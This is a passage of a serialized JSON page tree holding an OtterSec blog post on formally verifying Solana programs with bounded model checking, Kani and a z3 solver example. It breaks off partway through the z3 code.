multisig.","harrison",{"src":137331,"height":126023,"width":6817},"/posts/formally-verifying-solana-programs/formal-verification-title.jpg","2023-01-26",[90642,137334],"report",{"type":23,"children":137336,"toc":147446},[137337,137342,137347,137374,137377,137389,137412,137435,137447,137470,137473,137479,137528,137534,137538,137543,137554,137595,137600,137606,137611,137841,137860,137865,137870,137941,137946,138015,138029,138448,138468,138474,138492,138497,138502,138507,138513,138525,138560,138571,138582,138594,138599,138630,138654,138673,138679,138696,138702,138729,138734,138753,138765,138901,138929,138932,138944,139026,139045,139048,139087,139252,139257,139263,139275,139292,139305,139463,139475,139488,139958,139963,140010,140016,140034,140102,140319,140533,140538,140610,140657,140662,140668,140770,140873,140878,140939,140944,140950,141015,141020,141062,141088,141094,141163,141168,141218,141229,141235,141246,141267,141272,141277,141300,141306,141318,141338,142423,142441,142491,142496,142504,142515,142520,142528,142533,142549,142585,142590,142684,142689,142697,142702,142813,142818,142826,142839,143003,143008,143016,143021,143026,143094,143128,143134,143139,143151,143169,143546,143558,143570,143578,143589,143620,143625,143633,143638,143906,143925,143930,143955,144821,144833,144932,144944,144986,144991,145003,145011,145016,145028,145054,145214,145225,145233,145238,145513,145518,145530,145685,145705,146029,146063,146254,146287,146299,146421,146441,146446,146451,146456,146469,146477,146482,146954,146966,146971,146983,146988,147247,147273,147278,147284,147290,147302,147314,147333,147380,147385,147391,147396,147401,147406,147410,147415,147420,147423,147442],{"type":26,"tag":39,"props":137338,"children":137339},{},[137340],{"type":32,"value":137341},"Since the early days of computing, bugs have crept their way into programs and wreaked havoc on the intentions of the programmer. Logical fallacies, race conditions, or simple typos could manifest as crashes or lay undetected, silently breaking the functionality of the host program.",{"type":26,"tag":39,"props":137343,"children":137344},{},[137345],{"type":32,"value":137346},"When your program is connected to the internet, there is the new risk that bugs may introduce security holes into your system. Even simple buffer overflows can be exploited by skilled attackers to compromise the integrity of your program.",{"type":26,"tag":39,"props":137348,"children":137349},{},[137350,137352,137357,137359,137364,137366,137373],{"type":32,"value":137351},"In the world of Web3 we create programs that talk to strangers ",{"type":26,"tag":65,"props":137353,"children":137354},{},[137355],{"type":32,"value":137356},"and",{"type":32,"value":137358}," control millions of dollars 🤑. Bugs in these programs are some of the ",{"type":26,"tag":65,"props":137360,"children":137361},{},[137362],{"type":32,"value":137363},"juciest",{"type":32,"value":137365},"; anonymous attackers that can find and exploit them will walk away with potentially ",{"type":26,"tag":163,"props":137367,"children":137370},{"href":137368,"rel":137369},"https://rekt.news/leaderboard/",[167],[137371],{"type":32,"value":137372},"hundreds of millions of dollars",{"type":32,"value":180},{"type":26,"tag":11933,"props":137375,"children":137376},{},[],{"type":26,"tag":39,"props":137378,"children":137379},{},[137380,137382,137387],{"type":32,"value":137381},"At OtterSec we are ",{"type":26,"tag":65,"props":137383,"children":137384},{},[137385],{"type":32,"value":137386},"highly skilled in pest control",{"type":32,"value":137388}," - finding and squashing bugs before they are exploited by less well-intentioned hackers. We are constantly striving to improve our techniques and develop new technologies that aid in our auditing processes.",{"type":26,"tag":39,"props":137390,"children":137391},{},[137392,137394,137401,137403,137410],{"type":32,"value":137393},"Recently we were contacted by the ",{"type":26,"tag":163,"props":137395,"children":137398},{"href":137396,"rel":137397},"https://squads.so/",[167],[137399],{"type":32,"value":137400},"Squads team",{"type":32,"value":137402}," to explore how formal verification could be used to verify security-critical properties of Solana programs. We were really excited about this opportunity and have been developing a prototype with the ",{"type":26,"tag":163,"props":137404,"children":137407},{"href":137405,"rel":137406},"https://github.com/Squads-Protocol/squads-mpl",[167],[137408],{"type":32,"value":137409},"Squads Multisig Program",{"type":32,"value":137411}," as our main case study.",{"type":26,"tag":39,"props":137413,"children":137414},{},[137415,137417,137424,137426,137433],{"type":32,"value":137416},"We now have a (mostly) working prototype that can be used to formally verify critical properties of Solana programs in order to ensure a higher level of security. Our tool integrates with ",{"type":26,"tag":163,"props":137418,"children":137421},{"href":137419,"rel":137420},"https://www.anchor-lang.com/",[167],[137422],{"type":32,"value":137423},"anchor-lang",{"type":32,"value":137425}," and provides new APIs to specify invariants for your Solana code. It then autogenerates proof harnesses which are verified with the ",{"type":26,"tag":163,"props":137427,"children":137430},{"href":137428,"rel":137429},"https://github.com/model-checking/kani",[167],[137431],{"type":32,"value":137432},"Kani Rust Verifier",{"type":32,"value":137434},". Additionally, we are implementing a formal-verification-friendly runtime SDK layer that accelerates the expensive process of running formal verification tools on complex code.",{"type":26,"tag":39,"props":137436,"children":137437},{},[137438,137440,137445],{"type":32,"value":137439},"In this blog post, we're excited to share our progress and the challenges we've encountered during the process. We will describe the main concepts behind ",{"type":26,"tag":65,"props":137441,"children":137442},{},[137443],{"type":32,"value":137444},"bounded model checking",{"type":32,"value":137446}," (our formal verification method of choice) and explain how we've applied these concepts to Solana.",{"type":26,"tag":39,"props":137448,"children":137449},{},[137450],{"type":26,"tag":65,"props":137451,"children":137452},{},[137453,137455,137462,137464],{"type":32,"value":137454},"If you're interested in learning more or getting your own programs formally verified, let us know! We'd be excited to chat with you! — Fill out ",{"type":26,"tag":163,"props":137456,"children":137459},{"href":137457,"rel":137458},"https://osec.io/contact",[167],[137460],{"type":32,"value":137461},"this form",{"type":32,"value":137463}," or email us at ",{"type":26,"tag":163,"props":137465,"children":137467},{"href":137466},"mailto:contact@osec.io",[137468],{"type":32,"value":137469},"contact@osec.io",{"type":26,"tag":11933,"props":137471,"children":137472},{},[],{"type":26,"tag":631,"props":137474,"children":137476},{"id":137475},"contents",[137477],{"type":32,"value":137478},"Contents:",{"type":26,"tag":6712,"props":137480,"children":137481},{},[137482,137487,137504,137514,137519,137524],{"type":26,"tag":2044,"props":137483,"children":137484},{},[137485],{"type":32,"value":137486},"Formal Verification with Bounded Model Checking\na. Overview\nb. A simple example\nc. Loop bounds & path explosion\nd. The Kani Rust Verifier",{"type":26,"tag":2044,"props":137488,"children":137489},{},[137490,137495,137497,137502],{"type":26,"tag":9348,"props":137491,"children":137492},{},[137493],{"type":32,"value":137494},"Specification",{"type":32,"value":137496},": How can we describe what we ",{"type":26,"tag":65,"props":137498,"children":137499},{},[137500],{"type":32,"value":137501},"want",{"type":32,"value":137503}," our program to do?",{"type":26,"tag":2044,"props":137505,"children":137506},{},[137507,137512],{"type":26,"tag":9348,"props":137508,"children":137509},{},[137510],{"type":32,"value":137511},"Verification",{"type":32,"value":137513},": How do we check that our model is correct?",{"type":26,"tag":2044,"props":137515,"children":137516},{},[137517],{"type":32,"value":137518},"Case Study: Squads Multisig",{"type":26,"tag":2044,"props":137520,"children":137521},{},[137522],{"type":32,"value":137523},"Additional challenges in Solana",{"type":26,"tag":2044,"props":137525,"children":137526},{},[137527],{"type":32,"value":9275},{"type":26,"tag":27,"props":137529,"children":137531},{"id":137530},"formal-verification-with-bounded-model-checking",[137532],{"type":32,"value":137533},"Formal Verification with Bounded Model Checking",{"type":26,"tag":607,"props":137535,"children":137536},{"id":115972},[137537],{"type":32,"value":115975},{"type":26,"tag":39,"props":137539,"children":137540},{},[137541],{"type":32,"value":137542},"Formal verification is the process of using a formal specification to verify the correctness of a system. In this case, the systems we are verifying are programs written in Rust that run on the Solana blockchain.",{"type":26,"tag":39,"props":137544,"children":137545},{},[137546,137548,137553],{"type":32,"value":137547},"There are many different flavors of formal verification, however in this research we are using ",{"type":26,"tag":9348,"props":137549,"children":137550},{},[137551],{"type":32,"value":137552},"bounded model checking (BMC)",{"type":32,"value":180},{"type":26,"tag":39,"props":137555,"children":137556},{},[137557,137559,137564,137566,137571,137573,137577,137579,137585,137587,137593],{"type":32,"value":137558},"In short, the idea of BMC is to execute our program ",{"type":26,"tag":65,"props":137560,"children":137561},{},[137562],{"type":32,"value":137563},"symbolically",{"type":32,"value":137565}," rather than ",{"type":26,"tag":65,"props":137567,"children":137568},{},[137569],{"type":32,"value":137570},"concretely",{"type":32,"value":137572},". Instead of actually performing an ",{"type":26,"tag":65,"props":137574,"children":137575},{},[137576],{"type":32,"value":61551},{"type":32,"value":137578}," when we see the line ",{"type":26,"tag":83,"props":137580,"children":137582},{"className":137581},[],[137583],{"type":32,"value":137584},"int x = a + b",{"type":32,"value":137586},", we store the symbolic expression ",{"type":26,"tag":83,"props":137588,"children":137590},{"className":137589},[],[137591],{"type":32,"value":137592},"x == a + b",{"type":32,"value":137594},". We do this for every line and once we reach the end of the program we have compiled a huge list of symbolic expressions. At this point, we can feed these expressions to a SMT solver along with a correctness property P in order to check if our program satisfies this property.",{"type":26,"tag":39,"props":137596,"children":137597},{},[137598],{"type":32,"value":137599},"If we hit a branch as we are tracing the program, we will take both sides of the branch adding the positive branch condition as a constraint to one side and the negative condition to the other side.",{"type":26,"tag":607,"props":137601,"children":137603},{"id":137602},"a-simple-example",[137604],{"type":32,"value":137605},"A simple example",{"type":26,"tag":39,"props":137607,"children":137608},{},[137609],{"type":32,"value":137610},"As an example, consider the following function:",{"type":26,"tag":207,"props":137612,"children":137614},{"code":137613,"language":2255,"meta":8,"className":9574,"style":8},"int foo(int x) {\n    int y = x + 3;\n    int z;\n    if (y > 100) {\n        z = y * 2;\n    } else {\n        z = y + 1;\n    }\n\n    // Property P:\n    assert(z != 105);\n}\n",[137615],{"type":26,"tag":83,"props":137616,"children":137617},{"__ignoreMap":8},[137618,137646,137679,137691,137716,137744,137759,137786,137793,137800,137808,137834],{"type":26,"tag":217,"props":137619,"children":137620},{"class":7028,"line":7029},[137621,137625,137630,137634,137638,137642],{"type":26,"tag":217,"props":137622,"children":137623},{"style":7154},[137624],{"type":32,"value":9619},{"type":26,"tag":217,"props":137626,"children":137627},{"style":7064},[137628],{"type":32,"value":137629}," foo",{"type":26,"tag":217,"props":137631,"children":137632},{"style":7048},[137633],{"type":32,"value":1851},{"type":26,"tag":217,"props":137635,"children":137636},{"style":7154},[137637],{"type":32,"value":9619},{"type":26,"tag":217,"props":137639,"children":137640},{"style":7054},[137641],{"type":32,"value":130169},{"type":26,"tag":217,"props":137643,"children":137644},{"style":7048},[137645],{"type":32,"value":7618},{"type":26,"tag":217,"props":137647,"children":137648},{"class":7028,"line":6770},[137649,137653,137658,137662,137667,137671,137675],{"type":26,"tag":217,"props":137650,"children":137651},{"style":7154},[137652],{"type":32,"value":9667},{"type":26,"tag":217,"props":137654,"children":137655},{"style":7048},[137656],{"type":32,"value":137657}," y ",{"type":26,"tag":217,"props":137659,"children":137660},{"style":7149},[137661],{"type":32,"value":267},{"type":26,"tag":217,"props":137663,"children":137664},{"style":7048},[137665],{"type":32,"value":137666}," x ",{"type":26,"tag":217,"props":137668,"children":137669},{"style":7149},[137670],{"type":32,"value":3540},{"type":26,"tag":217,"props":137672,"children":137673},{"style":7130},[137674],{"type":32,"value":110363},{"type":26,"tag":217,"props":137676,"children":137677},{"style":7048},[137678],{"type":32,"value":7162},{"type":26,"tag":217,"props":137680,"children":137681},{"class":7028,"line":6779},[137682,137686],{"type":26,"tag":217,"props":137683,"children":137684},{"style":7154},[137685],{"type":32,"value":9667},{"type":26,"tag":217,"props":137687,"children":137688},{"style":7048},[137689],{"type":32,"value":137690}," z;\n",{"type":26,"tag":217,"props":137692,"children":137693},{"class":7028,"line":7140},[137694,137698,137703,137707,137712],{"type":26,"tag":217,"props":137695,"children":137696},{"style":7042},[137697],{"type":32,"value":9710},{"type":26,"tag":217,"props":137699,"children":137700},{"style":7048},[137701],{"type":32,"value":137702}," (y ",{"type":26,"tag":217,"props":137704,"children":137705},{"style":7149},[137706],{"type":32,"value":5903},{"type":26,"tag":217,"props":137708,"children":137709},{"style":7130},[137710],{"type":32,"value":137711}," 100",{"type":26,"tag":217,"props":137713,"children":137714},{"style":7048},[137715],{"type":32,"value":7618},{"type":26,"tag":217,"props":137717,"children":137718},{"class":7028,"line":7165},[137719,137724,137728,137732,137736,137740],{"type":26,"tag":217,"props":137720,"children":137721},{"style":7048},[137722],{"type":32,"value":137723},"        z ",{"type":26,"tag":217,"props":137725,"children":137726},{"style":7149},[137727],{"type":32,"value":267},{"type":26,"tag":217,"props":137729,"children":137730},{"style":7048},[137731],{"type":32,"value":137657},{"type":26,"tag":217,"props":137733,"children":137734},{"style":7149},[137735],{"type":32,"value":10006},{"type":26,"tag":217,"props":137737,"children":137738},{"style":7130},[137739],{"type":32,"value":9725},{"type":26,"tag":217,"props":137741,"children":137742},{"style":7048},[137743],{"type":32,"value":7162},{"type":26,"tag":217,"props":137745,"children":137746},{"class":7028,"line":7178},[137747,137751,137755],{"type":26,"tag":217,"props":137748,"children":137749},{"style":7048},[137750],{"type":32,"value":40847},{"type":26,"tag":217,"props":137752,"children":137753},{"style":7042},[137754],{"type":32,"value":40852},{"type":26,"tag":217,"props":137756,"children":137757},{"style":7048},[137758],{"type":32,"value":8064},{"type":26,"tag":217,"props":137760,"children":137761},{"class":7028,"line":7389},[137762,137766,137770,137774,137778,137782],{"type":26,"tag":217,"props":137763,"children":137764},{"style":7048},[137765],{"type":32,"value":137723},{"type":26,"tag":217,"props":137767,"children":137768},{"style":7149},[137769],{"type":32,"value":267},{"type":26,"tag":217,"props":137771,"children":137772},{"style":7048},[137773],{"type":32,"value":137657},{"type":26,"tag":217,"props":137775,"children":137776},{"style":7149},[137777],{"type":32,"value":3540},{"type":26,"tag":217,"props":137779,"children":137780},{"style":7130},[137781],{"type":32,"value":9742},{"type":26,"tag":217,"props":137783,"children":137784},{"style":7048},[137785],{"type":32,"value":7162},{"type":26,"tag":217,"props":137787,"children":137788},{"class":7028,"line":7406},[137789],{"type":26,"tag":217,"props":137790,"children":137791},{"style":7048},[137792],{"type":32,"value":9754},{"type":26,"tag":217,"props":137794,"children":137795},{"class":7028,"line":7439},[137796],{"type":26,"tag":217,"props":137797,"children":137798},{"emptyLinePlaceholder":17},[137799],{"type":32,"value":7817},{"type":26,"tag":217,"props":137801,"children":137802},{"class":7028,"line":7487},[137803],{"type":26,"tag":217,"props":137804,"children":137805},{"style":7033},[137806],{"type":32,"value":137807},"    // Property P:\n",{"type":26,"tag":217,"props":137809,"children":137810},{"class":7028,"line":7524},[137811,137816,137821,137825,137830],{"type":26,"tag":217,"props":137812,"children":137813},{"style":7064},[137814],{"type":32,"value":137815},"    assert",{"type":26,"tag":217,"props":137817,"children":137818},{"style":7048},[137819],{"type":32,"value":137820},"(z ",{"type":26,"tag":217,"props":137822,"children":137823},{"style":7149},[137824],{"type":32,"value":9720},{"type":26,"tag":217,"props":137826,"children":137827},{"style":7130},[137828],{"type":32,"value":137829}," 105",{"type":26,"tag":217,"props":137831,"children":137832},{"style":7048},[137833],{"type":32,"value":7669},{"type":26,"tag":217,"props":137835,"children":137836},{"class":7028,"line":7553},[137837],{"type":26,"tag":217,"props":137838,"children":137839},{"style":7048},[137840],{"type":32,"value":7184},{"type":26,"tag":39,"props":137842,"children":137843},{},[137844,137846,137851,137853,137859],{"type":32,"value":137845},"This function takes an input ",{"type":26,"tag":83,"props":137847,"children":137849},{"className":137848},[],[137850],{"type":32,"value":2542},{"type":32,"value":137852}," and does some computation. At the end of the program, the property we want to verify is that ",{"type":26,"tag":83,"props":137854,"children":137856},{"className":137855},[],[137857],{"type":32,"value":137858},"z != 105",{"type":32,"value":180},{"type":26,"tag":39,"props":137861,"children":137862},{},[137863],{"type":32,"value":137864},"With BMC, we could trace this program and derive the following constraints:",{"type":26,"tag":39,"props":137866,"children":137867},{},[137868],{"type":32,"value":137869},"Positive branch:",{"type":26,"tag":207,"props":137871,"children":137873},{"code":137872,"language":2255,"meta":8,"className":9574,"style":8},"y == x + 3\ny > 100\nz == y * 2\n",[137874],{"type":26,"tag":83,"props":137875,"children":137876},{"__ignoreMap":8},[137877,137901,137916],{"type":26,"tag":217,"props":137878,"children":137879},{"class":7028,"line":7029},[137880,137885,137889,137893,137897],{"type":26,"tag":217,"props":137881,"children":137882},{"style":7048},[137883],{"type":32,"value":137884},"y ",{"type":26,"tag":217,"props":137886,"children":137887},{"style":7149},[137888],{"type":32,"value":9106},{"type":26,"tag":217,"props":137890,"children":137891},{"style":7048},[137892],{"type":32,"value":137666},{"type":26,"tag":217,"props":137894,"children":137895},{"style":7149},[137896],{"type":32,"value":3540},{"type":26,"tag":217,"props":137898,"children":137899},{"style":7130},[137900],{"type":32,"value":13399},{"type":26,"tag":217,"props":137902,"children":137903},{"class":7028,"line":6770},[137904,137908,137912],{"type":26,"tag":217,"props":137905,"children":137906},{"style":7048},[137907],{"type":32,"value":137884},{"type":26,"tag":217,"props":137909,"children":137910},{"style":7149},[137911],{"type":32,"value":5903},{"type":26,"tag":217,"props":137913,"children":137914},{"style":7130},[137915],{"type":32,"value":79458},{"type":26,"tag":217,"props":137917,"children":137918},{"class":7028,"line":6779},[137919,137924,137928,137932,137936],{"type":26,"tag":217,"props":137920,"children":137921},{"style":7048},[137922],{"type":32,"value":137923},"z ",{"type":26,"tag":217,"props":137925,"children":137926},{"style":7149},[137927],{"type":32,"value":9106},{"type":26,"tag":217,"props":137929,"children":137930},{"style":7048},[137931],{"type":32,"value":137657},{"type":26,"tag":217,"props":137933,"children":137934},{"style":7149},[137935],{"type":32,"value":10006},{"type":26,"tag":217,"props":137937,"children":137938},{"style":7130},[137939],{"type":32,"value":137940}," 2\n",{"type":26,"tag":39,"props":137942,"children":137943},{},[137944],{"type":32,"value":137945},"Negative branch:",{"type":26,"tag":207,"props":137947,"children":137949},{"code":137948,"language":2255,"meta":8,"className":9574,"style":8},"y == x + 3\ny \u003C= 100\nz == y + 1\n",[137950],{"type":26,"tag":83,"props":137951,"children":137952},{"__ignoreMap":8},[137953,137976,137992],{"type":26,"tag":217,"props":137954,"children":137955},{"class":7028,"line":7029},[137956,137960,137964,137968,137972],{"type":26,"tag":217,"props":137957,"children":137958},{"style":7048},[137959],{"type":32,"value":137884},{"type":26,"tag":217,"props":137961,"children":137962},{"style":7149},[137963],{"type":32,"value":9106},{"type":26,"tag":217,"props":137965,"children":137966},{"style":7048},[137967],{"type":32,"value":137666},{"type":26,"tag":217,"props":137969,"children":137970},{"style":7149},[137971],{"type":32,"value":3540},{"type":26,"tag":217,"props":137973,"children":137974},{"style":7130},[137975],{"type":32,"value":13399},{"type":26,"tag":217,"props":137977,"children":137978},{"class":7028,"line":6770},[137979,137983,137988],{"type":26,"tag":217,"props":137980,"children":137981},{"style":7048},[137982],{"type":32,"value":137884},{"type":26,"tag":217,"props":137984,"children":137985},{"style":7149},[137986],{"type":32,"value":137987},"\u003C=",{"type":26,"tag":217,"props":137989,"children":137990},{"style":7130},[137991],{"type":32,"value":79458},{"type":26,"tag":217,"props":137993,"children":137994},{"class":7028,"line":6779},[137995,137999,138003,138007,138011],{"type":26,"tag":217,"props":137996,"children":137997},{"style":7048},[137998],{"type":32,"value":137923},{"type":26,"tag":217,"props":138000,"children":138001},{"style":7149},[138002],{"type":32,"value":9106},{"type":26,"tag":217,"props":138004,"children":138005},{"style":7048},[138006],{"type":32,"value":137657},{"type":26,"tag":217,"props":138008,"children":138009},{"style":7149},[138010],{"type":32,"value":3540},{"type":26,"tag":217,"props":138012,"children":138013},{"style":7130},[138014],{"type":32,"value":120191},{"type":26,"tag":39,"props":138016,"children":138017},{},[138018,138020,138027],{"type":32,"value":138019},"Using the ",{"type":26,"tag":163,"props":138021,"children":138024},{"href":138022,"rel":138023},"https://github.com/Z3Prover/z3",[167],[138025],{"type":32,"value":138026},"z3",{"type":32,"value":138028}," SMT solver, we could check both of these cases like so:",{"type":26,"tag":207,"props":138030,"children":138032},{"code":138031,"language":18386,"meta":8,"className":18387,"style":8},"from z3 import *\n\nx = Int('x')\ny = Int('y')\nz = Int('z')\n\n# Positive branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y > 100)\ns.add(z == y * 2)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n\n# Negative branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y \u003C= 100)\ns.add(z == y + 1)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n",[138033],{"type":26,"tag":83,"props":138034,"children":138035},{"__ignoreMap":8},[138036,138056,138063,138089,138113,138137,138144,138152,138169,138197,138216,138244,138251,138259,138279,138297,138304,138312,138327,138354,138373,138400,138407,138414,138433],{"type":26,"tag":217,"props":138037,"children":138038},{"class":7028,"line":7029},[138039,138043,138048,138052],{"type":26,"tag":217,"props":138040,"children":138041},{"style":7042},[138042],{"type":32,"value":98448},{"type":26,"tag":217,"props":138044,"children":138045},{"style":7048},[138046],{"type":32,"value":138047}," z3 ",{"type":26,"tag":217,"props":138049,"children":138050},{"style":7042},[138051],{"type":32,"value":130100},{"type":26,"tag":217,"props":138053,"children":138054},{"style":7149},[138055],{"type":32,"value":34543},{"type":26,"tag":217,"props":138057,"children":138058},{"class":7028,"line":6770},[138059],{"type":26,"tag":217,"props":138060,"children":138061},{"emptyLinePlaceholder":17},[138062],{"type":32,"value":7817},{"type":26,"tag":217,"props":138064,"children":138065},{"class":7028,"line":6779},[138066,138071,138075,138080,138085],{"type":26,"tag":217,"props":138067,"children":138068},{"style":7048},[138069],{"type":32,"value":138070},"x ",{"type":26,"tag":217,"props":138072,"children":138073},{"style":7149},[138074],{"type":32,"value":267},{"type":26,"tag":217,"props":138076,"children":138077},{"style":7048},[138078],{"type":32,"value":138079}," Int(",{"type":26,"tag":217,"props":138081,"children":138082},{"style":7338},[138083],{"type":32,"value":138084},"'x'",{"type":26,"tag":217,"props":138086,"children":138087},{"style":7048},[138088],{"type":32,"value":10025},{"type":26,"tag":217,"props":138090,"children":138091},{"class":7028,"line":7140},[138092,138096,138100,138104,138109],{"type":26,"tag":217,"props":138093,"children":138094},{"style":7048},[138095],{"type":32,"value":137884},{"type":26,"tag":217,"props":138097,"children":138098},{"style":7149},[138099],{"type":32,"value":267},{"type":26,"tag":217,"props":138101,"children":138102},{"style":7048},[138103],{"type":32,"value":138079},{"type":26,"tag":217,"props":138105,"children":138106},{"style":7338},[138107],{"type":32,"value":138108},"'y'",{"type":26,"tag":217,"props":138110,"children":138111},{"style":7048},[138112],{"type":32,"value":10025},{"type":26,"tag":217,"props":138114,"children":138115},{"class":7028,"line":7165},[138116,138120,138124,138128,138133],{"type":26,"tag":217,"props":138117,"children":138118},{"style":7048},[138119],{"type":32,"value":137923},{"type":26,"tag":217,"props":138121,"children":138122},{"style":7149},[138123],{"type":32,"value":267},{"type":26,"tag":217,"props":138125,"children":138126},{"style":7048},[138127],{"type":32,"value":138079},{"type":26,"tag":217,"props":138129,"children":138130},{"style":7338},[138131],{"type":32,"value":138132},"'z'",{"type":26,"tag":217,"props":138134,"children":138135},{"style":7048},[138136],{"type":32,"value":10025},{"type":26,"tag":217,"props":138138,"children":138139},{"class":7028,"line":7178},[138140],{"type":26,"tag":217,"props":138141,"children":138142},{"emptyLinePlaceholder":17},[138143],{"type":32,"value":7817},{"type":26,"tag":217,"props":138145,"children":138146},{"class":7028,"line":7389},[138147],{"type":26,"tag":217,"props":138148,"children":138149},{"style":7033},[138150],{"type":32,"value":138151},"# Positive branch:\n",{"type":26,"tag":217,"props":138153,"children":138154},{"class":7028,"line":7406},[138155,138160,138164],{"type":26,"tag":217,"props":138156,"children":138157},{"style":7048},[138158],{"type":32,"value":138159},"s ",{"type":26,"tag":217,"props":138161,"children":138162},{"style":7149},[138163],{"type":32,"value":267},{"type":26,"tag":217,"props":138165,"children":138166},{"style":7048},[138167],{"type":32,"value":138168}," Solver()\n",{"type":26,"tag":217,"props":138170,"children":138171},{"class":7028,"line":7439},[138172,138177,138181,138185,138189,138193],{"type":26,"tag":217,"props":138173,"children":138174},{"style":7048},[138175],{"type":32,"value":138176},"s.add(y ",{"type":26,"tag":217,"props":138178,"children":138179},{"style":7149},[138180],{"type":32,"value":9106},{"type":26,"tag":217,"props":138182,"children":138183},{"style":7048},[138184],{"type":32,"value":137666},{"type":26,"tag":217,"props":138186,"children":138187},{"style":7149},[138188],{"type":32,"value":3540},{"type":26,"tag":217,"props":138190,"children":138191},{"style":7130},[138192],{"type":32,"value":110363},{"type":26,"tag":217,"props":138194,"children":138195},{"style":7048},[138196],{"type":32,"value":10025},{"type":26,"tag":217,"props":138198,"children":138199},{"class":7028,"line":7487},[138200,138204,138208,138212],{"type":26,"tag":217,"props":138201,"children":138202},{"style":7048},[138203],{"type":32,"value":138176},{"type":26,"tag":217,"props":138205,"children":138206},{"style":7149},[138207],{"type":32,"value":5903},{"type":26,"tag":217,"props":138209,"children":138210},{"style":7130},[138211],{"type":32,"value":137711},{"type":26,"tag":217,"props":138213,"children":138214},{"style":7048},[138215],{"type":32,"value":10025},{"type":26,"tag":217,"props":138217,"children":138218},{"class":7028,"line":7524},[138219,138224,138228,138232,138236,138240],{"type":26,"tag":217,"props":138220,"children":138221},{"style":7048},[138222],{"type":32,"value":138223},"s.add(z ",{"type":26,"tag":217,"props":138225,"children":138226},{"style":7149},[138227],{"type":32,"value":9106},{"type":26,"tag":217,"props":138229,"children":138230},{"style":7048},[138231],{"type":32,"value":137657},{"type":26,"tag":217,"props":138233,"children":138234},{"style":7149},[138235],{"type":32,"value":10006},{"type":26,"tag":217,"props":138237,"children":138238},{"style":7130},[138239],{"type":32,"value":9725},{"type":26,"tag":217,"props":138241,"children":138242},{"style":7048},[138243],{"type":32,"value":10025},{"type":26,"tag":217,"props":138245,"children":138246},{"class":7028,"line":7553},[138247],{"type":26,"tag":217,"props":138248,"children":138249},{"emptyLinePlaceholder":17},[138250],{"type":32,"value":7817},{"type":26,"tag":217,"props":138252,"children":138253},{"class":7028,"line":7570},[138254],{"type":26,"tag":217,"props":138255,"children":138256},{"style":7033},[138257],{"type":32,"value":138258},"# check if we can violate the correctness property\n",{"type":26,"tag":217,"props":138260,"children":138261},{"class":7028,"line":7621},[138262,138267,138271,138275],{"type":26,"tag":217,"props":138263,"children":138264},{"style":7048},[138265],{"type":32,"value":138266},"s.add(Not(z ",{"type":26,"tag":217,"props":138268,"children":138269},{"style":7149},[138270],{"type":32,"value":9720},{"type":26,"tag":217,"props":138272,"children":138273},{"style":7130},[138274],{"type":32,"value":137829},{"type":26,"tag":217,"props":138276,"children":138277},{"style":7048},[138278],{"type":32,"value":18548},{"type":26,"tag":217,"props":138280,"children":138281},{"class":7028,"line":7672},[138282,138287,138292],{"type":26,"tag":217,"props":138283,"children":138284},{"style":7064},[138285],{"type":32,"value":138286},"print",{"type":26,"tag":217,"props":138288,"children":138289},{"style":7048},[138290],{"type":32,"value":138291},"(s.check()) ",{"type":26,"tag":217,"props":138293,"children":138294},{"style":7033},[138295],{"type":32,"value":138296},"# \"unsat\"\n",{"type":26,"tag":217,"props":138298,"children":138299},{"class":7028,"line":7681},[138300],{"type":26,"tag":217,"props":138301,"children":138302},{"emptyLinePlaceholder":17},[138303],{"type":32,"value":7817},{"type":26,"tag":217,"props":138305,"children":138306},{"class":7028,"line":7754},[138307],{"type":26,"tag":217,"props":138308,"children":138309},{"style":7033},[138310],{"type":32,"value":138311},"# Negative branch:\n",{"type":26,"tag":217,"props":138313,"children":138314},{"class":7028,"line":7784},[138315,138319,138323],{"type":26,"tag":217,"props":138316,"children":138317},{"style":7048},[138318],{"type":32,"value":138159},{"type":26,"tag":217,"props":138320,"children":138321},{"style":7149},[138322],{"type":32,"value":267},{"type":26,"tag":217,"props":138324,"children":138325},{"style":7048},[138326],{"type":32,"value":138168},{"type":26,"tag":217,"props":138328,"children":138329},{"class":7028,"line":7802},[138330,138334,138338,138342,138346,138350],{"type":26,"tag":217,"props":138331,"children":138332},{"style":7048},[138333],{"type":32,"value":138176},{"type":26,"tag":217,"props":138335,"children":138336},{"style":7149},[138337],{"type":32,"value":9106},{"type":26,"tag":217,"props":138339,"children":138340},{"style":7048},[138341],{"type":32,"value":137666},{"type":26,"tag":217,"props":138343,"children":138344},{"style":7149},[138345],{"type":32,"value":3540},{"type":26,"tag":217,"props":138347,"children":138348},{"style":7130},[138349],{"type":32,"value":110363},{"type":26,"tag":217,"props":138351,"children":138352},{"style":7048},[138353],{"type":32,"value":10025},{"type":26,"tag":217,"props":138355,"children":138356},{"class":7028,"line":7811},[138357,138361,138365,138369],{"type":26,"tag":217,"props":138358,"children":138359},{"style":7048},[138360],{"type":32,"value":138176},{"type":26,"tag":217,"props":138362,"children":138363},{"style":7149},[138364],{"type":32,"value":137987},{"type":26,"tag":217,"props":138366,"children":138367},{"style":7130},[138368],{"type":32,"value":137711},{"type":26,"tag":217,"props":138370,"children":138371},{"style":7048},[138372],{"type":32,"value":10025},{"type":26,"tag":217,"props":138374,"children":138375},{"class":7028,"line":7820},[138376,138380,138384,138388,138392,138396],{"type":26,"tag":217,"props":138377,"children":138378},{"style":7048},[138379],{"type":32,"value":138223},{"type":26,"tag":217,"props":138381,"children":138382},{"style":7149},[138383],{"type":32,"value":9106},{"type":26,"tag":217,"props":138385,"children":138386},{"style":7048},[138387],{"type":32,"value":137657},{"type":26,"tag":217,"props":138389,"children":138390},{"style":7149},[138391],{"type":32,"value":3540},{"type":26,"tag":217,"props":138393,"children":138394},{"style":7130},[138395],{"type":32,"value":9742},{"type":26,"tag":217,"props":138397,"children":138398},{"style":7048},[138399],{"type":32,"value":10025},{"type":26,"tag":217,"props":138401,"children":138402},{"class":7028,"line":7844},[138403],{"type":26,"tag":217,"props":138404,"children":138405},{"emptyLinePlaceholder":17},[138406],{"type":32,"value":7817},{"type":26,"tag":217,"props":138408,"children":138409},{"class":7028,"line":7910},[138410],{"type":26,"tag":217,"props":138411,"children":138412},{"style":7033},[138413],{"type":32,"value":138258},{"type":26,"tag":217,"props":138415,"children":138416},{"class":7028,"line":7954},[138417,138421,138425,138429],{"type":26,"tag":217,"props":138418,"children":138419},{"style":7048},[138420],{"type":32,"value":138266},{"type":26,"tag":217,"props":138422,"children":13